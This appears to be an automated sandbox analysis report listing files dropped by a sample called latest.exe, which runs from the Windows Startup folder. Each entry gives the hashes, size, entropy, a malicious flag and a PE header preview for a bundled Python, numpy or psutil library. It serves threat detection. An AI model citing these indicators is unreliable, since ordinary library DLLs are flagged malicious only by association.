SHA-512:	F39505FA36CB30DA01F0B28D86D4DF56CE189CCF040A37FC0A451499EE4F8AAF07BFE46131A6C951F28E9DE6CA52DCDB47C2608C6440D334F9AB64BE58E3C8F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|T..85..85..85..1Ms..5..j@.:5..^Z..?5..j@.45..j@.05..j@.<5..+..:5..85._4..sM.=5...@..5...@.;5...@..95...@..95...@.95..Rich85..........................PE..d.....f.........." .....V..........@........................................@............`.............................................d.......,...............Dd..............l!...w...............................w..8............p...............................text....T.......V.................. ..`.rdata.......p.......Z..............@..@.data...8k... ...@..................@....pdata..Dd.......f...D..............@..@.rsrc...............................@..@.reloc..l!......."..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\sax.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.038193065158534
Encrypted:	false
SSDEEP:	3072:Ae/GZDWcHklrXlhox9oPZrLOlr1VLvnV:AeuYcElvPZr6lr1VL/V
MD5:	0B428F30F01CC7E150E632DFC075C44C
SHA1:	5C0DD131D104DEB9F3832CE244AA4328939CDD70
SHA-256:	F4E841063B7864D57FDE18C8D9FCCD7DE6E9BAE998EDF2765C0E38BDE7B6E2C5
SHA-512:	80B71C7DFEC23A272C3B3B43BA44952C98122BEDCC990CB36189C43AFF985399DD6CC787D4944C188964E2A3D5036884F6FFC23B5ECF7D52824673F06C3FE8BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.a.6q..6q..6q..?...2q..d...4q..}...4q..d...=q..d...>q..d...2q..%...5q..6q...q......7q......7q......7q......7q..Rich6q..........................PE..d...#.f.........." .........\|...............................................P............`.............................................X.......x....0....... ..t............@..@.......................................8............................................text............................... ..`.rdata..4P.......R..................@..@.data...............................@....pdata..t.... ......................@..@.rsrc........0......................@..@.reloc..@....@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	20269568
Entropy (8bit):	6.26223001093884
Encrypted:	false
SSDEEP:	196608:YkRyLOBd+wrOzPW0K+VT2XZgBdeYzPXCt6eRe:YOOzPWy8kd7Xa6I
MD5:	DA1EA9BEB18A0598191B523CBB725056
SHA1:	1C0BB78A52723FEA8804BB4F5C4103622BCE6C3D
SHA-256:	7A62620B556F4A485CA273E34F0E224F345DA4530D15029C74BA6EA5DE878934
SHA-512:	B12C7EAEC2A83878503814C511EC66E0B864D92E3A75AE171025136DE4329586B89E8C1840987AE30332A2EA216819A22083A29C4730A4CD4AA99247AB817EFA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...$..+..F5..$..P........................................5......U5...`... .......................................1.DO...`5.d.............0..#............5.l............................e0.(...................lf5.@............................text.....+.......+.................`.``.data........0+......"+.............@.`..rdata........+.......+.............@.p@.pdata...#....0..$...d0.............@.0@.xdata..,"....0..$....0.............@.0@.bss.... "....0.......................`..edata..DO....1..P....0.............@.0@.idata..d....`5.......4.............@.0..CRT....`.....5.......5.............@.@..tls..........5.......5.............@.@..reloc..l.....5..0....5.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	618728
Entropy (8bit):	6.330906923348709
Encrypted:	false
SSDEEP:	12288:2O93oUW7jh6DN0RUhsduQjqDZ6X/t5mTOKGmJ7DseBiltBMQEKZm+jWodEEVoFn:l3oUW7jh6DN0RUhsduQjqDZ6X/t5mTOq
MD5:	C7CA543046C55D16B322158F6B1C2FF5
SHA1:	E7E8F91597F33E84515E70DFD06E598D579979F7
SHA-256:	32E6C8100BD62E7A91F50996C2A59692DC796B6F140A2DFA4DE313CA43D4C748
SHA-512:	B0EB94D3E98780E22FBBE4598632A0BF66BCDFCA0657E350B71426845C81F26AB7DF97EDD75CBA985C4A3E5C0B68B2EEDF75BE5487DF9BBA76080E78B5AFBD66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`..r$..!$..!$..!.O.!&..!-.\|!2..!v.. '..!$..!...!v.. '..!v.. o..!v.. j..!v.. %..!v..!%..!v.. %..!Rich$..!................PE..d.....0].........." .........`...... ..............................................."a....`A............................................h....................0..t@...T..................8............................................ ..........@....................text...<........................... ..`.rdata..<.... ......................@..@.data....;..........................@....pdata..t@...0...B..................@..@.didat..h............B..............@....rsrc................D..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_tests.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.016963575869102
Encrypted:	false
SSDEEP:	768:4w4kFSHCu11F3uHi3I8LsXqpy55XrwtvnEPGFLfj9LiGvqkutKDPO:p4F13uHQL5y8tvEPGF3w00twPO
MD5:	E2604DF985FC3FA6E76890F62B4F6CB3
SHA1:	3F60D69BFC3EF98C08F84BF7EDB5D8CA3C574C39
SHA-256:	0A6E353DE81890004F9D4360B641D0546DFB60FE7458DD7AF765E50B313DA2F1
SHA-512:	F9014E609BB218F158D1D2CD256F012F40B5F8A5FE393D2BB39EAB8488B4D1B6657F980CDDB5D98BDCE424CC69D9599B286E16B7F4CE150B9EF99C6501C7EF60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........R..............................................@......h!....`.................................................l................ ...............0..p...p...................................8...............@............................text.............................. .P`.rdata..n8.......:..................@.P@.data...............................@.P..pdata....... ......................@.0@.reloc..p....0......................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_umath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4159488
Entropy (8bit):	6.720231980669941
Encrypted:	false
SSDEEP:	49152:RSwaZQpi42H4qPjw6BYamHc+wUmSDzopaD4DG+nbywkHXvsW72Ftn:Ri4qSZHctTG+nGvsX
MD5:	37E114B3927DBB95DDF2B6C1CC971017
SHA1:	26697CF430D04B2FAEB1B08D4DA62CC6C930B817
SHA-256:	ED8870031608A086B7542B3854B74BE6071652F231BB61300D561EB249FACAA8
SHA-512:	AC919C50C3F7903F37861BA30336A0A0C6B8C00DF9B7F41485C9C2EDC551B28AE6A42E1037C94B2D2DE84D29526B5C26D9B087C3A542721AB5C99D51C84EAB47
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."......2..X......d.2......................................0A......T@...`..........................................?;.t...T@;.@............ ?...............A..#...o8......................q8.(....p8.8.............2.h............................text.....2.......2................. .P`.rdata........2.......2.............@.P@.data.........;......d;.............@.P..pdata....... ?......~=.............@.0@.reloc...#....A..$...T?.............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\fft\_pocketfft_umath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	6.224706874637973
Encrypted:	false
SSDEEP:	6144:AJGFkCjS3571R/F0fPnbp01IbX53ucVTRfTpZx+NZl2U+g3jiwy1eLge:AJAjS3/R/anH53ucVTNEpU3e
MD5:	50975AD79669BBBCC8810AFF43C1B4C3
SHA1:	E7BA0570D275ADEC72DD3FA49E9728B2A55FCCED
SHA-256:	61B9B4EA91FEA64E945C6897298AC638002D64F9A0D27CF4815E04BD80A46039
SHA-512:	3E33CF10C0E9D0EDEA14CEF99A4ACCF8D83FAD421965751A94AE99E4DFC3F47C1F5EF435CF0EB45C03CB60479EF3405EAAFB315B5A55E37AB0E24F6D2314DE4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........P...............................................p......r.....`......................................... 1..p....1...............P..X............`......@...............................`...8............................................text...R........................... .P`.rdata...9.......:..................@.P@.data........@.......,..............@.P..pdata..X....P.......0..............@.0@.reloc.......`.......@..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\linalg\_umath_linalg.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	108032
Entropy (8bit):	6.299055533151349
Encrypted:	false
SSDEEP:	1536:C7d2r1oKsmot9KBQqaGOZDbP5ngZpp3LHaKil69s7NrDsltdfFB:MwY7KHapjZgZppjhX9s7NrDsltdfv
MD5:	EF26AB7F0EC331654071EF0BD50BA7E4
SHA1:	D565B56087D5FC07A9DC9AC2FE1E0DAA52746635
SHA-256:	5C3521F2F50BDF1D779094D729D61D747E3A2A78E27BC47CC2F31E75747EE2B3
SHA-512:	20906187D3A9CFA346635AF17FCF9F51CE66DBA49D3C21BDEAEB644FBE4E462ED089ED49F778C7D4939887EF2DE60CF486FD47B9C37B8922E8EC7BCF9C9FBD42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....R...V......pV..............................................Y8....`.............................................l..........................................................................0...8............p..H............................text...8Q.......R.................. .P`.rdata...7...p...8...V..............@.P@.data...............................@.P..pdata..............................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_bounded_integers.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	226304
Entropy (8bit):	6.476582752080795
Encrypted:	false
SSDEEP:	3072:GEAMAcuCeDjpWODa3JX0GnWhVZYDq9QKQdAXy58gzAtNtz3A1TKUWAKBFmOnG:dAjcG1WODa3JX0x1QgXyBWjwTgAKXjG
MD5:	CD34505E16E2A3CEDEA331039F0DA901
SHA1:	3AC3E2B41950DBCCA3089E677C8D462B986D74D7
SHA-256:	A023A8B413D92EECD4D63DFEA78757C1F53C64CB13C3EF813327A2C7EB0331EB
SHA-512:	41CF23CBE4DEED8F7196111174A1192E80834DA478F6DFECDD1E88A57421568A1E7C6FCBDA6723F06816A16D955A27AC7544A18EA9D2192720A602DA27B255A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................................................................7.....`..........................................U.. ....^..x...............................P....8...............................9..8............................................text............................... .P`.rdata..\...........................@.P@.data...8............^..............@.P..pdata...............`..............@.0@.reloc..P............r..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_common.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	6.159954440817978
Encrypted:	false
SSDEEP:	3072:u6dM96V3jflSmyzGuuBKNr8RWzmpdnxbLwH3f:u6dM9E3jflSmyaVQ9FzQ7Mf
MD5:	6C5C8E32D621CB67D9F4D151C9280FE2
SHA1:	FC4CFC4958227663151FB939128A6A6B82257E00
SHA-256:	84800278F2ED12448577AAF6637A759EE3E4DD4726FC4A103FC555435140C7CC
SHA-512:	D17F3E3C8B5491EEE9C4676924129534090BC98E261791A65A37FC7159EF3CBB399460FF734B90C0BA4267200FE39A88E223DCDAC5F894D2429619A5A35A8273
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........n......."..............................................2.....`..........................................q..`....q..x....................................a..............................0a..8............0.. ............................text............................... .P`.rdata...X...0...Z..."..............@.P@.data................\|..............@.P..pdata..............................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_generator.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	748032
Entropy (8bit):	6.3220720278141656
Encrypted:	false
SSDEEP:	12288:2d3MbPgKkTyEOvuxHEY/ChxPZAxewMjwZVm:03ygKVEOv+h/C5woOVm
MD5:	EB6C0370B2D1B0A2DBEEA61761791BBC
SHA1:	C84B8F4C06A377145B3EAE684031C1E4CCEB9BA3
SHA-256:	A28C26DF6A2C646A4910BA023E8021E5415B98AC6DCACAF3053F72D17887C5F8
SHA-512:	960676916C12BBA5C3846BE0213FA0D4009B310A4DDFA0C6BB9CE6F3E23CB4E8621DE63AF7BC775B365301E0894CFA7B575AD6CAEA3094B67EEFC7CF088FCA27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................0...............................................3i....`.................................................l...........................................................................8............................................text...8........................... .P`.rdata..:Y.......Z..................@.P@.data....E...@..."...&..............@.P..pdata...............H..............@.0@.reloc...............f..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_mt19937.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.142816459421823
Encrypted:	false
SSDEEP:	1536:C5yx+TYs+6S/TF7K1uA64NHo3avnpt53ID6GTmdEUqAMx53wBS5AS:CM+TLPSrFNA64NRvnptEUqAMx4S5AS
MD5:	1465446040DE11DBD1C8A26796286E33
SHA1:	5D31B0B1DD5A8296504E8E02F5993BA015F596CB
SHA-256:	9EFD52B2243E9A5CDB4477EA1CDE98E2236C7F59F12834D314A9741163323634
SHA-512:	79FED4CC3607F034321625C0909161FDC762B3C5C524D5D79381EE6C494F6C5AF78251155C7817D254B6F750208198CDD3F84773E15264625D1AB42EFB4010AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........z......................................................rm....`..........................................>..`....>..x...............(....................1...............................1..8...............H............................text...H........................... .P`.rdata..Fb.......d..................@.P@.data...h....`.......F..............@.P..pdata..(............P..............@.0@.reloc...............Z..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_pcg64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	96768
Entropy (8bit):	6.070745939576282
Encrypted:	false
SSDEEP:	1536:j9aJTaSaUKVjVH/pLipojyDSxpPuvZ69VxiGPW5kyKi7BtKi:j0OJUKHp2OyYGwi5zltK
MD5:	52A503E18FB2ED7678A514D6703C93FB
SHA1:	AAEEBD4521711E3613E0AEE0ACE4EFD4D9E368B0
SHA-256:	5FA7BA5F5B7A47CEC2C9203EA82168DBBC0D4DB2A78D895F8C34D793B0F435F5
SHA-512:	C986CC4875F2562A36520C01C8E9F9299B01D886291C03C575DDF7E1B73402FC596E4176CCA4E5A281CAF3DEF41DC343955CCBEED0E3D57AE70B924420099A77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................................................................./....`..........................................W..\...LX..x...............................H....J...............................J..8...............8............................text............................... .P`.rdata...k.......l..................@.P@.data...(....p.......`..............@.P..pdata...............n..............@.0@.reloc..H............x..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_philox.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.047814551605128
Encrypted:	false
SSDEEP:	1536:Lx75TOnYA/Gwdr9W7JBBqvbawGKj5JtbaKB/8f5:L/OnlGIKBwv9j5Jt5/8R
MD5:	A314888D952E28151F51FB12AF313389
SHA1:	5E3861022C73D03916D551E363CEBB564D9C675C
SHA-256:	BD8C599363B6FA6C44A95405588D0BE0A41BAF4183DCED4F3666FBB78821C94C
SHA-512:	4DEB5A2779115E442FEF73644E691C81C90B20B28381F00512A42EDAF5AFB328FDF68CF97D4F83DB3A140644DC5E48077D2DDB1A04E479E13FFE2EF966AB9C45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........r.......................................................S....`..........................................(..`....)..x............`..\............p..........................................8...............H............................text............................... .P`.rdata...\.......^..................@.P@.data........@.......,..............@.P..pdata..\....`.......6..............@.0@.reloc.......p.......>..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_sfc64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	5.870239312919947
Encrypted:	false
SSDEEP:	768:8y9OSfUi7fLVKDpc+tYCZSAbJHGlditEIPg/g6XsaHWq6RI4oPdxd36OBIEAWX16:HBNLVKhtOmGldiTPW2qb7d3BBIGF6
MD5:	C58ADF9A59953E1C2E405577D496BB77
SHA1:	F14800FF05D7CB7752FB020BBE952DA1113AA4BD
SHA-256:	792C1AC76265E88EE1704FF3852DC3DC85D987ABDCD3104CB1F3573725972C1E
SHA-512:	4F63C6E944F7398F109AEE432F2DF65798ABD1ED07CAC3B96313C91BA7B804700F90E0BF0472D45EC3DE5B30F5EE8F6F0ABB7517F743F0725098AAF981999136
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........\...............................................@......k.....`.........................................0...\.......x............ ...............0......P...............................p...8............................................text...H........................... .P`.rdata...F.......H..................@.P@.data...............................@.P..pdata....... ......................@.0@.reloc.......0......................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\bit_generator.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	172032
Entropy (8bit):	6.185206509240025
Encrypted:	false
SSDEEP:	3072:YC9DM1eFU3uj+IRZXU/W7bbJ73qK3CHd2qN4HEHFTA02+Warahu2+Warahj3qSkl:YC9DM4FU3ujlZkO7bpabHzls02+Wara2
MD5:	661B68A0FE191E522901E8D2E13EBC67
SHA1:	FEC1FD6ABBA3F09FFEAC500D6173A22AE4FA7E36
SHA-256:	F0301A87765D4830EE7F336B83EAE0CCEA32C05DB3CCD1182DB0E24DD3C8FC9F
SHA-512:	77D20C73867919888C56016D7A9D06C6FA401123C5C7C61C58EAA1DB1715EEB07B2ACB4EF81CF7159FE0D5E7496BF4D69EC9C2758AC62EF9F3946DE7CEAEAF01
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."......................................................................`..........................................{..l...\|{..x...............<....................h...............................i..8...............p............................text...h........................... .P`.rdata.."...........................@.P@.data....$...........z..............@.P..pdata..<...........................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\mtrand.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	633344
Entropy (8bit):	6.234789858318424
Encrypted:	false
SSDEEP:	12288:r1zC7nG0yt2OXWFIPwnc7n0gZCoajSFNjwMO:r1zCEAoYIMo0gLFVv
MD5:	6CAEF8CD7B5C287B50B7FC96226ACF4B
SHA1:	CFF02EA433A4ADC1BF362A46A390AEC7AC2F43EB
SHA-256:	52775674E07939F29F5A6107E08B5982C65560571E3A532FEA2F68543A45384B
SHA-512:	436AA8DAF1D0EB81499CB174B5043F3BA9B1792D6D6D5386F92CFA865FFF49DCCEE3B9AC7D63152076D3D22E6D789D7989761E3E97E4610D75AF3DC55590DB6F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....T...R.......X..............................................r)....`..........................................m.......u..................................x....L..............................0L..8............p...............................text....S.......T.................. .P`.rdata.......p.......X..............@.P@.data...h6...........v..............@.P..pdata..............................@.0@.reloc..x...........................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909510426434191
Encrypted:	false
SSDEEP:	1536:aJsHmR02IvVxv7WCyKm7c5Th4MBHTOvyyaZE:apIvryCyKx5Th4M5OvyyO
MD5:	3E579844160DE8322D574501A0F91516
SHA1:	C8DE193854F7FC94F103BD4AC726246981264508
SHA-256:	95F01CE7E37F6B4B281DBC76E9B88F28A03CB02D41383CC986803275A1CD6333
SHA-512:	EE2A026E8E70351D395329C78A07ACB1B9440261D2557F639E817A8149BA625173EF196AED3D1C986577D78DC1A7EC9FED759C19346C51511474FE6D235B1817
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d.....qf.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202008
Entropy (8bit):	6.369252583877094
Encrypted:	false
SSDEEP:	3072:qwJ1l3SauVCjLwifFPYKDRW97oaU+1urfmwl1CnLiHbe7pjMeU8F5IMLhA8:73SauVCwi6KDRW97oaVybCLiS7pq8FZ
MD5:	8C1F876831395D146E3BCADCEA2486DD
SHA1:	82CBFB59F0581A0554D6A5061E1F82E6B46A3473
SHA-256:	D32D7722D6ED2B2780C039D63AF044554C0BA9CF6E6EFEF28EBC79CB443D2DA0
SHA-512:	73067BB8DCC44CD52551A48400BD8E721268DD44F9884EBB603452ECE9C7BD276D40B7CBCA4F10223F27B8CCDCD1D2EC298A1C767A691859AEA10056C108A730
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!...@..@..@..8N..@.:...@.:...@.:...@.:...@.....@..8..@..@..@.....@.....@..."..@.....@.Rich.@.........PE..d...`b.f.........." ...(..................................................... ......gi....`............................................P...@............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...p ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:	768:OV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/d:ODmF61JFn+/Ob5IML0l7SySxUx
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\python312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pythoncom312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
